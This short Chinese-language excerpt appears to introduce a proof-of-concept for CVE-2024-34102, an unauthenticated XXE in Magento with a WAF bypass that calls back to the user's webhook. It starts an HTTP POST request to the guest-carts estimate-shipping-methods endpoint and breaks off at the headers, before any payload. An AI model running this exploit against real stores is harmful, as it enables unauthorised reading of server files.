CVE-2024-34102

CVE-2024-34102 CVE-2024-34102 的 PoC：未身份验证的 Magento XXE 及绕过 WAF，你将在你的 webhook 上收到 HTTP 连接 root@kitploit: POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2 Host: example.com Accept: application/json, text/javascript, /; q=0.01 Content-Length: 310 Content-Type: application/json User-Agent...